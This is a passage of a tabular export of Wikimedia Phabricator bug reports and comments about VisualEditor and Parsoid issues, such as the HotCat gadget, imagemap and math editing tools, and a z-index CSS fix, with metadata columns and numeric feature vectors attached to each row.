+//attachment invisible_iframe_contents.png ignored as obsolete//",,,1381945871,,PHID-USER-kqibbfgfpgocyzwe32lv,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,False,,,15,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+195715,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,*** Bug 55759 has been marked as a duplicate of this bug. ***,,,1381877657,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,15,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+195712,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"(In reply to comment #1)
+> Is this related?
+> 
+> ""We seem to have lost the plus and minus options of Hotcat that were one of
+> the closest to WYSIWYG features of this site. Please can they be
+> incorporated into visual editor. ϢereSpielChequers 13:46, 4 July 2013 (UTC)""
+
+That's unrelated to VisualEditor; enwiki's community switched off HotCat as a default gadget, so people who want to keep using it will need to manually switch it back on.",,,1372947996,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1
+195709,VisualEditor: Sometimes the HotCat gadget appears at the top of the CE surface,"Is this related?
+
+""We seem to have lost the plus and minus options of Hotcat that were one of the closest to WYSIWYG features of this site. Please can they be incorporated into visual editor. ϢereSpielChequers 13:46, 4 July 2013 (UTC)""",,,1372946751,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-pxuflqdxigvalopfqw3z,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0
+45333,VisualEditor: Add a (small) left margin to the CE so that users can select whole lines at once,"From a user suggestion:
+
+| Normally word processors and text editors have a left margin, allowing
+| whole lines to be selected. There would normally be a small gap of a few
+| pixels between the left column of text and the left margin, allowing a
+| ""margin of error"" for regular text selection. To the left of this gap,
+| any clicks select entire lines, and any drags up or down select many
+| lines at once. 
+|
+| I don't know if there is a need for the complete left margin
+| functionality in VisualEditor, but certainly, the editing area shouldn't
+| stop at the exact edge of the letters. Perhaps the padding on the VE
+| container needs to be increased with a compensating decrease in the
+| margin - or maybe that's totally wrong, but you get the idea.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1356128220,1369426246.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3d7wihxirj5lu7swsg43,task_description,declined,True,c1,1,True,False,True,-28,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+195561,VisualEditor: Add a (small) left margin to the CE so that users can select whole lines at once,"After discussion with the team, we feel that this doesn't make sense because this is mostly a feature that makes sense in line-based editors (generally, for code), and VE is not one of these.",,,1369426246,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-3d7wihxirj5lu7swsg43,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+195557,VisualEditor: Add a (small) left margin to the CE so that users can select whole lines at once,"For the first part, some IDEs do this (e.g. Sublime), but LO, Google Docs & gedit don't. The downside is it reduces the target zone for placing the cursor at the start of a line.
+
+For the second part, we already have left padding into which you can click to position the cursor at the start of the line.",,,1369228231,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-3d7wihxirj5lu7swsg43,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+45135,VisualEditor: Deleting content between a heading and an alien fails?,"In https://en.wikipedia.org/w/index.php?title=Lynn_Hill&oldid=528045441 (and other versions), go into VE, go to the bottom, delete the list item (and so the list) from the External links section.
+
+ve.instances[0].documentModel.data confirms that the model has this removed - ""/heading"" object followed by the alienated table from the ""{{Authority control}}"" template - but on diff Parsoid thinks that there is no change in this area. Is this is a Parsoid, or is change marking broken (or both)?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1355510820,1359143154.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,1
+184114,VisualEditor: Deleting content between a heading and an alien fails?,"A few more selser fixes later this should now be fixed. Repeating the test case above certainly suggests it works, so please reopen if there still are issues.",,,1359143154,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-23,,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0
+184107,VisualEditor: Deleting content between a heading and an alien fails?,(Needs verification with VE),,,1357343579,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-26,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+184100,VisualEditor: Deleting content between a heading and an alien fails?,"Likely fixed by the DOM diffing functionality that landed in https://gerrit.wikimedia.org/r/#/c/41816/. Barring bugs, we now no longer depend on change markers for selective serialization to work.",,,1357343521,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-26,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+184093,VisualEditor: Deleting content between a heading and an alien fails?,"I believe this ties in directly to what Gabriel is doing, so I'll add him and we can have a big bugzilla CCing party.",,,1355950575,,PHID-USER-nvavrb7ko66hv3xap6sb,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+184084,VisualEditor: Deleting content between a heading and an alien fails?,"This is probably a selser (Parsoid) issue. There is no change marking for removals, selser detects these based on DSR discontinuities.
+
+Provisionally CCing Mark, once I get time to investigate this properly and figure out what's going on, I'll move/reassign this bug as appropriate.",,,1355950118,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-7aedtfvbjcpnujzhsbiy,task_subcomment,,True,c1,1,False,,,-28,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+45127,Create a VisualEditor plugin tool to add/edit imagemaps,"<imagemap>....</imagemap> is unparsed but shown as plain wikitext:
+https://en.wikipedia.org/wiki/User:Raymond/imagemap
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://en.wikipedia.org/wiki/User:Raymond/imagemap",Medium,50.0,1355487780,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-7akqsunetgzvscos7y7g,task_description,open,True,c1,1,False,False,,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+404779,Create a VisualEditor plugin tool to add/edit imagemaps,"> <imagemap>....</imagemap> is unparsed but shown as plain wikitext
+
+Apparently at this point it is shown as an uneditable image.
+
+An imagemap editor seems almost the same use case as an [[ https://commons.wikimedia.org/wiki/Help:Gadget-ImageAnnotator | ImageAnnotator ]] annotation editor.",,,1422606911,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-7akqsunetgzvscos7y7g,task_subcomment,,True,c1,3,False,,,82,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+45126,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Support <syntaxhighlight> tag too. It is a synonym to <source> which works already
+
+https://en.wikipedia.org/wiki/User:Raymond/source
+
+See https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/SyntaxHighlight_GeSHi.git;a=blob;f=SyntaxHighlight_GeSHi.php#l67 for the definiton of the parser hooks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://en.wikipedia.org/wiki/User:Raymond/source",Medium,50.0,1355486220,1435183429.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-TASK-q2kd7nc4teibu2d6yujb,task_description,resolved,True,c1,1,False,False,False,-29,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+481148,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Change 214078 merged by jenkins-bot:
+Add VisualEditor support
+
+[[https://gerrit.wikimedia.org/r/214078]]",,,1435183387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,False,,,103,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+465719,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Change 214078 had a related patch set uploaded (by Jforrester):
+Add VE support for syntax highlighting
+
+[[https://gerrit.wikimedia.org/r/214078]]
+",,,1432909766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,False,,,99,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+183514,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"Change 114529 had a related patch set uploaded by Jforrester:
+[WIP] Add VisualEditor support
+
+https://gerrit.wikimedia.org/r/114529",,,1404758239,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,False,,,53,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+183507,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,Re-opening as this is now unmerged.,,,1404758207,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+183498,Create a VisualEditor plugin tool to add/edit SyntaxHighlight blocks,"This is now complete and merged, as gerrit 68615, and will go out (as an experimental option) to MediaWiki.org tomorrow. Congratulations, Tongbo!",,,1380739351,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q2kd7nc4teibu2d6yujb,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+45104,Parsoid: Second column heading missing of table with template-generated header,"Screenshot showing the regular view, visualeditor view and wikitext
+
+Steps to reproduce problem:
+* Open VisualEditor on https://en.wikipedia.org/wiki/Buri_Ram_Airport
+
+Expected result:
+Table has header on both columns.
+
+Actual result:
+Header of second column is missing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F9595}",Medium,50.0,1355443620,1359417431.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-woqw5jwyjb5eshocsjdw,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+182240,Parsoid: Second column heading missing of table with template-generated header,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372933991,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-woqw5jwyjb5eshocsjdw,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+182236,Parsoid: Second column heading missing of table with template-generated header,Patch committed for review in https://gerrit.wikimedia.org/r/46465.,,,1359416789,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-woqw5jwyjb5eshocsjdw,task_subcomment,,True,c1,1,True,,,-22,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+182232,Parsoid: Second column heading missing of table with template-generated header,"Appears to be a failed template expansion, so probably a Parsoid bug - Gabriel, thoughts?",,,1357598990,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-woqw5jwyjb5eshocsjdw,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+45098,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"Try editing the page [[:en:Buri_Ram_Airport]] with VisualEditor. Mouse over the infobox. There's an element that sticks above the alien marking, because it has a z-index attribute.
+
+I don't know how best to fix this, I assume it would be bad to simply set z-index=1000 and be on your way, but it's an inconsistent appearance and something to be fixed eventually.
+
+I suspect this may also be a good beginner bug, so if someone from the VE team can mark this as easy, then we can leave it for a newcomer.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://en.wikipedia.org/wiki/Buri_Ram_Airport",Medium,50.0,1355441880,1355696389.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_description,resolved,True,c1,1,True,False,True,-29,,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+182004,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,Change-Id: I889074a659483ce3d48380be5f50f80abb573286,,,1355696389,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+181997,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"You guys have no concept of leaving a simple bug for new contributors? :)
+
+Not to worry, I'll go find more. Thanks Rob!",,,1355515857,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+181991,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,Patch in https://gerrit.wikimedia.org/r/38669,,,1355446597,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+181983,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"The following CSS rule exists:
+
+> .ve-ce-alienBlockNode, .ve-ce-alienInlineNode,
+> .ve-ce-alienBlockNode *, .ve-ce-alienInlineNode * {
+>   position: relative !important;
+>   top: 0 !important;
+>   left: 0 !important;
+>   bottom: 0 !important;
+>   right: 0 !important;
+> }
+
+They have position relative, so the z-index within is relative and constraint within the alien.
+
+However that isn't the case. This is because the top node (alienBlockNode, not alienBlockNode *) needs z-index: 0; to complete this feature. It is the combination of z-index: 0; and position: relative; that makes it work.
+
+It was presumably forgotten because it needs to be on a separate rule (not inside the one above, since that would set z-index: 0; on all blocks, thus destroying the order of elements within the alien).",,,1355442376,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+181976,VisualEditor: Elements nested inside Aliens with z-index appear on top of the zebra pattern,"Sorry, setting web browser in case it matters.",,,1355441973,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-e2rzlzqqfl2v7m5ms4g6,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+45058,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Math is editable, but only as plain LaTeX like in the wikitext editor: https://en.wikipedia.org/wiki/User:Raymond/Math
+
+{F199473}
+Figure 1: Current non visual visual editor",Medium,50.0,1355386860,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-nspbk6goaacnxvuhl4ff,task_description,open,True,c1,1,False,False,,-29,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1495447,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#6101704, @BoldLuis wrote:
+> I suggest a way to implement Mediawiki links in Phabricator.  ~~~~
+
+**[offtopic]** @BoldLuis: Please use the Preview at the bottom, below the comment field, before submitting a comment. See T251657. Thanks :)
+
+Please also avoid unnecessary full quotes of previous comments when not needed.",,,1588406096,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,356,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+1495446,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#6101704, @BoldLuis wrote:
+> I suggest a way to implement Mediawiki links in Phabricator.  ~~~~
+
+**[offtopic]** @BoldLuis: Please use the Preview at the bottom, below the comment field, before submitting a comment. See T251657. Thanks :)",,,1588406072,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,True,,,356,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+1495402,Create a visual VisualEditor plugin tool to add/edit maths blocks,"Good!!!. 
+
+>>! In T45058#475499, @SalixAlba wrote:
+> Created attachment 13550
+> Screenshot of editing a math block
+> 
+> Some small tweaks are needed to the dialog box. Editing the last equation at https://www.mediawiki.org/wiki/VisualEditor:TestMath?veaction=edit
+> there are a a few problems
+> 
+> 1) The dialog obscures the actual equation
+> 2) The dlalog is too small to see the whole source text of the equation
+> 
+> This could be solved the making the dialog, moveable and resizeable.
+> 
+> **Attached**: {F10189}
+
+",,,1588386108,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,1
+1495390,Create a visual VisualEditor plugin tool to add/edit maths blocks,">>! In T45058#475389, @Jdforrester-WMF wrote:
+> (In reply to comment #3)
+>> Are there any news on this?
+> 
+> Jiabao was accepted as a GSoC student and will be working on this with us. Updates are going to be added at [[mw:User:Jiabao wu/GSoC 2013 Project Work]].
+
+I suggest a way to implement Mediawiki links in Phabricator.  ~~~~",,,1588382922,,PHID-USER-7j4dq3ggca7kka2g3siq,False,,,PHID-TASK-nspbk6goaacnxvuhl4ff,task_subcomment,,True,c1,3,False,,,356,,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,1,1,1,0,0,1
